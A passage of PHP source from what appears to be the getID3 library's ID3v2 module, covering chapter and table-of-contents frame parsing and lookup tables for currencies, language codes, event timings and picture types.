								$parsedFrame['picture_present'] = true;
							} else {
								$this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format');
							}
							break;
						default:
							$this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)');
							break;
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
				unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC
			}

			$id3v2_chapter_entry = array();
			foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) {
				if (isset($parsedFrame[$id3v2_chapter_key])) {
					$id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key];
				}
			}
			if (!isset($info['id3v2']['chapters'])) {
				$info['id3v2']['chapters'] = array();
			}
			$info['id3v2']['chapters'][] = $id3v2_chapter_entry;
			unset($id3v2_chapter_entry, $id3v2_chapter_key);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CTOC">           (10 bytes)
			// Element ID      <text string> $00
			// CTOC flags        %xx
			// Entry count       $xx
			// Child Element ID  <string>$00   /* zero or more child CHAP or CTOC entries */
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;
			$parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;

			$terminator_position = null;
			for ($i = 0; $i < $parsedFrame['entry_count']; $i++) {
				$terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset);
				$frame_offset = $terminator_position + 1;
			}

			$parsedFrame['ctoc_flags']['ordered']   = (bool) ($ctoc_flags_raw & 0x01);
			$parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03);

			unset($ctoc_flags_raw, $terminator_position);

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
						if ($subframe['name'] == 'TIT2') {
							$parsedFrame['toc_name']        = $encoding_converted_text;
						} elseif ($subframe['name'] == 'TIT3') {
							$parsedFrame['toc_description'] = $encoding_converted_text;
						}
						$parsedFrame['subframes'][] = $subframe;
					} else {
						$this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
			}

		}

		return true;
	}

	/**
	 * @param string $data
	 *
	 * @return string
	 */
	public function DeUnsynchronise($data) {
		return str_replace("\xFF\x00", "\xFF", $data);
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
			0x00 => 'No more than 128 frames and 1 MB total tag size',
			0x01 => 'No more than 64 frames and 128 KB total tag size',
			0x02 => 'No more than 32 frames and 40 KB total tag size',
			0x03 => 'No more than 32 frames and 4 KB total tag size',
		);
		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
			0x00 => 'No restrictions',
			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
			0x00 => 'No restrictions',
			0x01 => 'No string is longer than 1024 characters',
			0x02 => 'No string is longer than 128 characters',
			0x03 => 'No string is longer than 30 characters',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
			0x00 => 'No restrictions',
			0x01 => 'Images are encoded only with PNG or JPEG',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
			0x00 => 'No restrictions',
			0x01 => 'All images are 256x256 pixels or smaller',
			0x02 => 'All images are 64x64 pixels or smaller',
			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyUnits($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!


			AED	Dirhams
			AFA	Afghanis
			ALL	Leke
			AMD	Drams
			ANG	Guilders
			AOA	Kwanza
			ARS	Pesos
			ATS	Schillings
			AUD	Dollars
			AWG	Guilders
			AZM	Manats
			BAM	Convertible Marka
			BBD	Dollars
			BDT	Taka
			BEF	Francs
			BGL	Leva
			BHD	Dinars
			BIF	Francs
			BMD	Dollars
			BND	Dollars
			BOB	Bolivianos
			BRL	Brazil Real
			BSD	Dollars
			BTN	Ngultrum
			BWP	Pulas
			BYR	Rubles
			BZD	Dollars
			CAD	Dollars
			CDF	Congolese Francs
			CHF	Francs
			CLP	Pesos
			CNY	Yuan Renminbi
			COP	Pesos
			CRC	Colones
			CUP	Pesos
			CVE	Escudos
			CYP	Pounds
			CZK	Koruny
			DEM	Deutsche Marks
			DJF	Francs
			DKK	Kroner
			DOP	Pesos
			DZD	Algeria Dinars
			EEK	Krooni
			EGP	Pounds
			ERN	Nakfa
			ESP	Pesetas
			ETB	Birr
			EUR	Euro
			FIM	Markkaa
			FJD	Dollars
			FKP	Pounds
			FRF	Francs
			GBP	Pounds
			GEL	Lari
			GGP	Pounds
			GHC	Cedis
			GIP	Pounds
			GMD	Dalasi
			GNF	Francs
			GRD	Drachmae
			GTQ	Quetzales
			GYD	Dollars
			HKD	Dollars
			HNL	Lempiras
			HRK	Kuna
			HTG	Gourdes
			HUF	Forints
			IDR	Rupiahs
			IEP	Pounds
			ILS	New Shekels
			IMP	Pounds
			INR	Rupees
			IQD	Dinars
			IRR	Rials
			ISK	Kronur
			ITL	Lire
			JEP	Pounds
			JMD	Dollars
			JOD	Dinars
			JPY	Yen
			KES	Shillings
			KGS	Soms
			KHR	Riels
			KMF	Francs
			KPW	Won
			KWD	Dinars
			KYD	Dollars
			KZT	Tenge
			LAK	Kips
			LBP	Pounds
			LKR	Rupees
			LRD	Dollars
			LSL	Maloti
			LTL	Litai
			LUF	Francs
			LVL	Lati
			LYD	Dinars
			MAD	Dirhams
			MDL	Lei
			MGF	Malagasy Francs
			MKD	Denars
			MMK	Kyats
			MNT	Tugriks
			MOP	Patacas
			MRO	Ouguiyas
			MTL	Liri
			MUR	Rupees
			MVR	Rufiyaa
			MWK	Kwachas
			MXN	Pesos
			MYR	Ringgits
			MZM	Meticais
			NAD	Dollars
			NGN	Nairas
			NIO	Gold Cordobas
			NLG	Guilders
			NOK	Krone
			NPR	Nepal Rupees
			NZD	Dollars
			OMR	Rials
			PAB	Balboa
			PEN	Nuevos Soles
			PGK	Kina
			PHP	Pesos
			PKR	Rupees
			PLN	Zlotych
			PTE	Escudos
			PYG	Guarani
			QAR	Rials
			ROL	Lei
			RUR	Rubles
			RWF	Rwanda Francs
			SAR	Riyals
			SBD	Dollars
			SCR	Rupees
			SDD	Dinars
			SEK	Kronor
			SGD	Dollars
			SHP	Pounds
			SIT	Tolars
			SKK	Koruny
			SLL	Leones
			SOS	Shillings
			SPL	Luigini
			SRG	Guilders
			STD	Dobras
			SVC	Colones
			SYP	Pounds
			SZL	Emalangeni
			THB	Baht
			TJR	Rubles
			TMM	Manats
			TND	Dinars
			TOP	Pa'anga
			TRL	Liras (old)
			TRY	Liras
			TTD	Dollars
			TVD	Tuvalu Dollars
			TWD	New Dollars
			TZS	Shillings
			UAH	Hryvnia
			UGX	Shillings
			USD	Dollars
			UYU	Pesos
			UZS	Sums
			VAL	Lire
			VEB	Bolivares
			VND	Dong
			VUV	Vatu
			WST	Tala
			XAF	Francs
			XAG	Ounces
			XAU	Ounces
			XCD	Dollars
			XDR	Special Drawing Rights
			XPD	Ounces
			XPF	Francs
			XPT	Ounces
			YER	Rials
			YUM	New Dinars
			ZAR	Rand
			ZMK	Kwacha
			ZWD	Zimbabwe Dollars

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyCountry($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!

			AED	United Arab Emirates
			AFA	Afghanistan
			ALL	Albania
			AMD	Armenia
			ANG	Netherlands Antilles
			AOA	Angola
			ARS	Argentina
			ATS	Austria
			AUD	Australia
			AWG	Aruba
			AZM	Azerbaijan
			BAM	Bosnia and Herzegovina
			BBD	Barbados
			BDT	Bangladesh
			BEF	Belgium
			BGL	Bulgaria
			BHD	Bahrain
			BIF	Burundi
			BMD	Bermuda
			BND	Brunei Darussalam
			BOB	Bolivia
			BRL	Brazil
			BSD	Bahamas
			BTN	Bhutan
			BWP	Botswana
			BYR	Belarus
			BZD	Belize
			CAD	Canada
			CDF	Congo/Kinshasa
			CHF	Switzerland
			CLP	Chile
			CNY	China
			COP	Colombia
			CRC	Costa Rica
			CUP	Cuba
			CVE	Cape Verde
			CYP	Cyprus
			CZK	Czech Republic
			DEM	Germany
			DJF	Djibouti
			DKK	Denmark
			DOP	Dominican Republic
			DZD	Algeria
			EEK	Estonia
			EGP	Egypt
			ERN	Eritrea
			ESP	Spain
			ETB	Ethiopia
			EUR	Euro Member Countries
			FIM	Finland
			FJD	Fiji
			FKP	Falkland Islands (Malvinas)
			FRF	France
			GBP	United Kingdom
			GEL	Georgia
			GGP	Guernsey
			GHC	Ghana
			GIP	Gibraltar
			GMD	Gambia
			GNF	Guinea
			GRD	Greece
			GTQ	Guatemala
			GYD	Guyana
			HKD	Hong Kong
			HNL	Honduras
			HRK	Croatia
			HTG	Haiti
			HUF	Hungary
			IDR	Indonesia
			IEP	Ireland (Eire)
			ILS	Israel
			IMP	Isle of Man
			INR	India
			IQD	Iraq
			IRR	Iran
			ISK	Iceland
			ITL	Italy
			JEP	Jersey
			JMD	Jamaica
			JOD	Jordan
			JPY	Japan
			KES	Kenya
			KGS	Kyrgyzstan
			KHR	Cambodia
			KMF	Comoros
			KPW	Korea
			KWD	Kuwait
			KYD	Cayman Islands
			KZT	Kazakstan
			LAK	Laos
			LBP	Lebanon
			LKR	Sri Lanka
			LRD	Liberia
			LSL	Lesotho
			LTL	Lithuania
			LUF	Luxembourg
			LVL	Latvia
			LYD	Libya
			MAD	Morocco
			MDL	Moldova
			MGF	Madagascar
			MKD	Macedonia
			MMK	Myanmar (Burma)
			MNT	Mongolia
			MOP	Macau
			MRO	Mauritania
			MTL	Malta
			MUR	Mauritius
			MVR	Maldives (Maldive Islands)
			MWK	Malawi
			MXN	Mexico
			MYR	Malaysia
			MZM	Mozambique
			NAD	Namibia
			NGN	Nigeria
			NIO	Nicaragua
			NLG	Netherlands (Holland)
			NOK	Norway
			NPR	Nepal
			NZD	New Zealand
			OMR	Oman
			PAB	Panama
			PEN	Peru
			PGK	Papua New Guinea
			PHP	Philippines
			PKR	Pakistan
			PLN	Poland
			PTE	Portugal
			PYG	Paraguay
			QAR	Qatar
			ROL	Romania
			RUR	Russia
			RWF	Rwanda
			SAR	Saudi Arabia
			SBD	Solomon Islands
			SCR	Seychelles
			SDD	Sudan
			SEK	Sweden
			SGD	Singapore
			SHP	Saint Helena
			SIT	Slovenia
			SKK	Slovakia
			SLL	Sierra Leone
			SOS	Somalia
			SPL	Seborga
			SRG	Suriname
			STD	São Tome and Principe
			SVC	El Salvador
			SYP	Syria
			SZL	Swaziland
			THB	Thailand
			TJR	Tajikistan
			TMM	Turkmenistan
			TND	Tunisia
			TOP	Tonga
			TRL	Turkey
			TRY	Turkey
			TTD	Trinidad and Tobago
			TVD	Tuvalu
			TWD	Taiwan
			TZS	Tanzania
			UAH	Ukraine
			UGX	Uganda
			USD	United States of America
			UYU	Uruguay
			UZS	Uzbekistan
			VAL	Vatican City
			VEB	Venezuela
			VND	Viet Nam
			VUV	Vanuatu
			WST	Samoa
			XAF	Communauté Financière Africaine
			XAG	Silver
			XAU	Gold
			XCD	East Caribbean
			XDR	International Monetary Fund
			XPD	Palladium
			XPF	Comptoirs Français du Pacifique
			XPT	Platinum
			YER	Yemen
			YUM	Yugoslavia
			ZAR	South Africa
			ZMK	Zambia
			ZWD	Zimbabwe

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
	}

	/**
	 * @param string $languagecode
	 * @param bool   $casesensitive
	 *
	 * @return string
	 */
	public static function LanguageLookup($languagecode, $casesensitive=false) {

		if (!$casesensitive) {
			$languagecode = strtolower($languagecode);
		}

		// http://www.id3.org/id3v2.4.0-structure.txt
		// [4.   ID3v2 frame overview]
		// The three byte language field, present in several frames, is used to
		// describe the language of the frame's content, according to ISO-639-2
		// [ISO-639-2]. The language should be represented in lower case. If the
		// language is not known the string "XXX" should be used.


		// ISO 639-2 - http://www.id3.org/iso639-2.html

		$begin = __LINE__;

		/** This is not a comment!

			XXX	unknown
			xxx	unknown
			aar	Afar
			abk	Abkhazian
			ace	Achinese
			ach	Acoli
			ada	Adangme
			afa	Afro-Asiatic (Other)
			afh	Afrihili
			afr	Afrikaans
			aka	Akan
			akk	Akkadian
			alb	Albanian
			ale	Aleut
			alg	Algonquian Languages
			amh	Amharic
			ang	English, Old (ca. 450-1100)
			apa	Apache Languages
			ara	Arabic
			arc	Aramaic
			arm	Armenian
			arn	Araucanian
			arp	Arapaho
			art	Artificial (Other)
			arw	Arawak
			asm	Assamese
			ath	Athapascan Languages
			ava	Avaric
			ave	Avestan
			awa	Awadhi
			aym	Aymara
			aze	Azerbaijani
			bad	Banda
			bai	Bamileke Languages
			bak	Bashkir
			bal	Baluchi
			bam	Bambara
			ban	Balinese
			baq	Basque
			bas	Basa
			bat	Baltic (Other)
			bej	Beja
			bel	Byelorussian
			bem	Bemba
			ben	Bengali
			ber	Berber (Other)
			bho	Bhojpuri
			bih	Bihari
			bik	Bikol
			bin	Bini
			bis	Bislama
			bla	Siksika
			bnt	Bantu (Other)
			bod	Tibetan
			bra	Braj
			bre	Breton
			bua	Buriat
			bug	Buginese
			bul	Bulgarian
			bur	Burmese
			cad	Caddo
			cai	Central American Indian (Other)
			car	Carib
			cat	Catalan
			cau	Caucasian (Other)
			ceb	Cebuano
			cel	Celtic (Other)
			ces	Czech
			cha	Chamorro
			chb	Chibcha
			che	Chechen
			chg	Chagatai
			chi	Chinese
			chm	Mari
			chn	Chinook jargon
			cho	Choctaw
			chr	Cherokee
			chu	Church Slavic
			chv	Chuvash
			chy	Cheyenne
			cop	Coptic
			cor	Cornish
			cos	Corsican
			cpe	Creoles and Pidgins, English-based (Other)
			cpf	Creoles and Pidgins, French-based (Other)
			cpp	Creoles and Pidgins, Portuguese-based (Other)
			cre	Cree
			crp	Creoles and Pidgins (Other)
			cus	Cushitic (Other)
			cym	Welsh
			cze	Czech
			dak	Dakota
			dan	Danish
			del	Delaware
			deu	German
			din	Dinka
			div	Divehi
			doi	Dogri
			dra	Dravidian (Other)
			dua	Duala
			dum	Dutch, Middle (ca. 1050-1350)
			dut	Dutch
			dyu	Dyula
			dzo	Dzongkha
			efi	Efik
			egy	Egyptian (Ancient)
			eka	Ekajuk
			ell	Greek, Modern (1453-)
			elx	Elamite
			eng	English
			enm	English, Middle (ca. 1100-1500)
			epo	Esperanto
			esk	Eskimo (Other)
			esl	Spanish
			est	Estonian
			eus	Basque
			ewe	Ewe
			ewo	Ewondo
			fan	Fang
			fao	Faroese
			fas	Persian
			fat	Fanti
			fij	Fijian
			fin	Finnish
			fiu	Finno-Ugrian (Other)
			fon	Fon
			fra	French
			fre	French
			frm	French, Middle (ca. 1400-1600)
			fro	French, Old (842- ca. 1400)
			fry	Frisian
			ful	Fulah
			gaa	Ga
			gae	Gaelic (Scots)
			gai	Irish
			gay	Gayo
			gdh	Gaelic (Scots)
			gem	Germanic (Other)
			geo	Georgian
			ger	German
			gez	Geez
			gil	Gilbertese
			glg	Gallegan
			gmh	German, Middle High (ca. 1050-1500)
			goh	German, Old High (ca. 750-1050)
			gon	Gondi
			got	Gothic
			grb	Grebo
			grc	Greek, Ancient (to 1453)
			gre	Greek, Modern (1453-)
			grn	Guarani
			guj	Gujarati
			hai	Haida
			hau	Hausa
			haw	Hawaiian
			heb	Hebrew
			her	Herero
			hil	Hiligaynon
			him	Himachali
			hin	Hindi
			hmo	Hiri Motu
			hun	Hungarian
			hup	Hupa
			hye	Armenian
			iba	Iban
			ibo	Igbo
			ice	Icelandic
			ijo	Ijo
			iku	Inuktitut
			ilo	Iloko
			ina	Interlingua (International Auxiliary language Association)
			inc	Indic (Other)
			ind	Indonesian
			ine	Indo-European (Other)
			ine	Interlingue
			ipk	Inupiak
			ira	Iranian (Other)
			iri	Irish
			iro	Iroquoian uages
			isl	Icelandic
			ita	Italian
			jav	Javanese
			jaw	Javanese
			jpn	Japanese
			jpr	Judeo-Persian
			jrb	Judeo-Arabic
			kaa	Kara-Kalpak
			kab	Kabyle
			kac	Kachin
			kal	Greenlandic
			kam	Kamba
			kan	Kannada
			kar	Karen
			kas	Kashmiri
			kat	Georgian
			kau	Kanuri
			kaw	Kawi
			kaz	Kazakh
			kha	Khasi
			khi	Khoisan (Other)
			khm	Khmer
			kho	Khotanese
			kik	Kikuyu
			kin	Kinyarwanda
			kir	Kirghiz
			kok	Konkani
			kom	Komi
			kon	Kongo
			kor	Korean
			kpe	Kpelle
			kro	Kru
			kru	Kurukh
			kua	Kuanyama
			kum	Kumyk
			kur	Kurdish
			kus	Kusaie
			kut	Kutenai
			lad	Ladino
			lah	Lahnda
			lam	Lamba
			lao	Lao
			lat	Latin
			lav	Latvian
			lez	Lezghian
			lin	Lingala
			lit	Lithuanian
			lol	Mongo
			loz	Lozi
			ltz	Letzeburgesch
			lub	Luba-Katanga
			lug	Ganda
			lui	Luiseno
			lun	Lunda
			luo	Luo (Kenya and Tanzania)
			mac	Macedonian
			mad	Madurese
			mag	Magahi
			mah	Marshall
			mai	Maithili
			mak	Macedonian
			mak	Makasar
			mal	Malayalam
			man	Mandingo
			mao	Maori
			map	Austronesian (Other)
			mar	Marathi
			mas	Masai
			max	Manx
			may	Malay
			men	Mende
			mga	Irish, Middle (900 - 1200)
			mic	Micmac
			min	Minangkabau
			mis	Miscellaneous (Other)
			mkh	Mon-Kmer (Other)
			mlg	Malagasy
			mlt	Maltese
			mni	Manipuri
			mno	Manobo Languages
			moh	Mohawk
			mol	Moldavian
			mon	Mongolian
			mos	Mossi
			mri	Maori
			msa	Malay
			mul	Multiple Languages
			mun	Munda Languages
			mus	Creek
			mwr	Marwari
			mya	Burmese
			myn	Mayan Languages
			nah	Aztec
			nai	North American Indian (Other)
			nau	Nauru
			nav	Navajo
			nbl	Ndebele, South
			nde	Ndebele, North
			ndo	Ndongo
			nep	Nepali
			new	Newari
			nic	Niger-Kordofanian (Other)
			niu	Niuean
			nla	Dutch
			nno	Norwegian (Nynorsk)
			non	Norse, Old
			nor	Norwegian
			nso	Sotho, Northern
			nub	Nubian Languages
			nya	Nyanja
			nym	Nyamwezi
			nyn	Nyankole
			nyo	Nyoro
			nzi	Nzima
			oci	Langue d'Oc (post 1500)
			oji	Ojibwa
			ori	Oriya
			orm	Oromo
			osa	Osage
			oss	Ossetic
			ota	Turkish, Ottoman (1500 - 1928)
			oto	Otomian Languages
			paa	Papuan-Australian (Other)
			pag	Pangasinan
			pal	Pahlavi
			pam	Pampanga
			pan	Panjabi
			pap	Papiamento
			pau	Palauan
			peo	Persian, Old (ca 600 - 400 B.C.)
			per	Persian
			phn	Phoenician
			pli	Pali
			pol	Polish
			pon	Ponape
			por	Portuguese
			pra	Prakrit uages
			pro	Provencal, Old (to 1500)
			pus	Pushto
			que	Quechua
			raj	Rajasthani
			rar	Rarotongan
			roa	Romance (Other)
			roh	Rhaeto-Romance
			rom	Romany
			ron	Romanian
			rum	Romanian
			run	Rundi
			rus	Russian
			sad	Sandawe
			sag	Sango
			sah	Yakut
			sai	South American Indian (Other)
			sal	Salishan Languages
			sam	Samaritan Aramaic
			san	Sanskrit
			sco	Scots
			scr	Serbo-Croatian
			sel	Selkup
			sem	Semitic (Other)
			sga	Irish, Old (to 900)
			shn	Shan
			sid	Sidamo
			sin	Singhalese
			sio	Siouan Languages
			sit	Sino-Tibetan (Other)
			sla	Slavic (Other)
			slk	Slovak
			slo	Slovak
			slv	Slovenian
			smi	Sami Languages
			smo	Samoan
			sna	Shona
			snd	Sindhi
			sog	Sogdian
			som	Somali
			son	Songhai
			sot	Sotho, Southern
			spa	Spanish
			sqi	Albanian
			srd	Sardinian
			srr	Serer
			ssa	Nilo-Saharan (Other)
			ssw	Siswant
			ssw	Swazi
			suk	Sukuma
			sun	Sudanese
			sus	Susu
			sux	Sumerian
			sve	Swedish
			swa	Swahili
			swe	Swedish
			syr	Syriac
			tah	Tahitian
			tam	Tamil
			tat	Tatar
			tel	Telugu
			tem	Timne
			ter	Tereno
			tgk	Tajik
			tgl	Tagalog
			tha	Thai
			tib	Tibetan
			tig	Tigre
			tir	Tigrinya
			tiv	Tivi
			tli	Tlingit
			tmh	Tamashek
			tog	Tonga (Nyasa)
			ton	Tonga (Tonga Islands)
			tru	Truk
			tsi	Tsimshian
			tsn	Tswana
			tso	Tsonga
			tuk	Turkmen
			tum	Tumbuka
			tur	Turkish
			tut	Altaic (Other)
			twi	Twi
			tyv	Tuvinian
			uga	Ugaritic
			uig	Uighur
			ukr	Ukrainian
			umb	Umbundu
			und	Undetermined
			urd	Urdu
			uzb	Uzbek
			vai	Vai
			ven	Venda
			vie	Vietnamese
			vol	Volapük
			vot	Votic
			wak	Wakashan Languages
			wal	Walamo
			war	Waray
			was	Washo
			wel	Welsh
			wen	Sorbian Languages
			wol	Wolof
			xho	Xhosa
			yao	Yao
			yap	Yap
			yid	Yiddish
			yor	Yoruba
			zap	Zapotec
			zen	Zenaga
			zha	Zhuang
			zho	Chinese
			zul	Zulu
			zun	Zuni

		*/

		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function ETCOEventLookup($index) {
		if (($index >= 0x17) && ($index <= 0xDF)) {
			return 'reserved for future use';
		}
		if (($index >= 0xE0) && ($index <= 0xEF)) {
			return 'not predefined synch 0-F';
		}
		if (($index >= 0xF0) && ($index <= 0xFC)) {
			return 'reserved for future use';
		}

		static $EventLookup = array(
			0x00 => 'padding (has no meaning)',
			0x01 => 'end of initial silence',
			0x02 => 'intro start',
			0x03 => 'main part start',
			0x04 => 'outro start',
			0x05 => 'outro end',
			0x06 => 'verse start',
			0x07 => 'refrain start',
			0x08 => 'interlude start',
			0x09 => 'theme start',
			0x0A => 'variation start',
			0x0B => 'key change',
			0x0C => 'time change',
			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
			0x0E => 'sustained noise',
			0x0F => 'sustained noise end',
			0x10 => 'intro end',
			0x11 => 'main part end',
			0x12 => 'verse end',
			0x13 => 'refrain end',
			0x14 => 'theme end',
			0x15 => 'profanity',
			0x16 => 'profanity end',
			0xFD => 'audio end (start of silence)',
			0xFE => 'audio file ends',
			0xFF => 'one more byte of events follows'
		);

		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function SYTLContentTypeLookup($index) {
		static $SYTLContentTypeLookup = array(
			0x00 => 'other',
			0x01 => 'lyrics',
			0x02 => 'text transcription',
			0x03 => 'movement/part name', // (e.g. 'Adagio')
			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
			0x06 => 'trivia/\'pop up\' information',
			0x07 => 'URLs to webpages',
			0x08 => 'URLs to images'
		);

		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
	}

	/**
	 * @param int   $index
	 * @param bool $returnarray
	 *
	 * @return array|string
	 */
	public static function APICPictureTypeLookup($index, $returnarray=false) {
		static $APICPictureTypeLookup = array(
			0x00 => 'Other',
			0x01 => '32x32 pixels \'file icon\' (PNG only)',
			0x02 => 'Other file icon',
			0x03 => 'Cover (front)',
			0x04 => 'Cover (back)',
			0x05 => 'Leaflet page',
			0x06 => 'Media (e.g. label side of CD)',
			0x07 => 'Lead artist/lead performer/soloist',
			0x08 => 'Artist/performer',
			0x09 => 'Conductor',
			0x0A => 'Band/Orchestra',
			0x0B => 'Composer',
			0x0C => 'Lyricist/text writer',
			0x0D => 'Recording Location',
			0x0E => 'During recording',
			0x0F => 'During performance',
			0x10 => 'Movie/video screen capture',
			0x11 => 'A bright coloured fish',
			0x12 => 'Illustration',
			0x13 => 'Band/artist logotype',
			0x14 => 'Publisher/Studio logotype'
		);
		if ($returnarray) {
			return $APICPictureTypeLookup;
		}
		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function COMRReceivedAsLookup($index) {
		static $COMRReceivedAsLookup = array(
			0x00 => 'Other',
			0x01 => 'Standard CD album with other songs',
			0x02 => 'Compressed audio on CD',
			0x03 => 'File over the Internet',
			0x04 => 'Stream over the Internet',
			0x05 => 'As note sheets',
			0x06 => 'As note sheets in a book with other sheets',
			0x07 => 'Music on other media',
			0x08 => 'Non-musical merchandise'
		);

		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function RVA2ChannelTypeLookup($index) {
		static $RVA2ChannelTypeLookup = array(
			0x00 => 'Other',
			0x01 => 'Master volume',
			0x02 => 'Front right',
			0x03 => 'Front left',
			0x04 => 'Back right',
			0x05 => 'Back left',
			0x06 => 'Front centre',
			0x07 => 'Back centre',
			0x08 => 'Subwoofer'
		);

		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameLongLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	Audio encryption
			APIC	Attached picture
			ASPI	Audio seek point index
			BUF	Recommended buffer size
			CNT	Play counter
			COM	Comments
			COMM	Comments
			COMR	Commercial frame
			CRA	Audio encryption
			CRM	Encrypted meta frame
			ENCR	Encryption method registration
			EQU	Equalisation
			EQU2	Equalisation (2)
			EQUA	Equalisation
			ETC	Event timing codes
			ETCO	Event timing codes
			GEO	General encapsulated object
			GEOB	General encapsulated object
			GRID	Group identification registration
			IPL	Involved people list
			IPLS	Involved people list
			LINK	Linked information
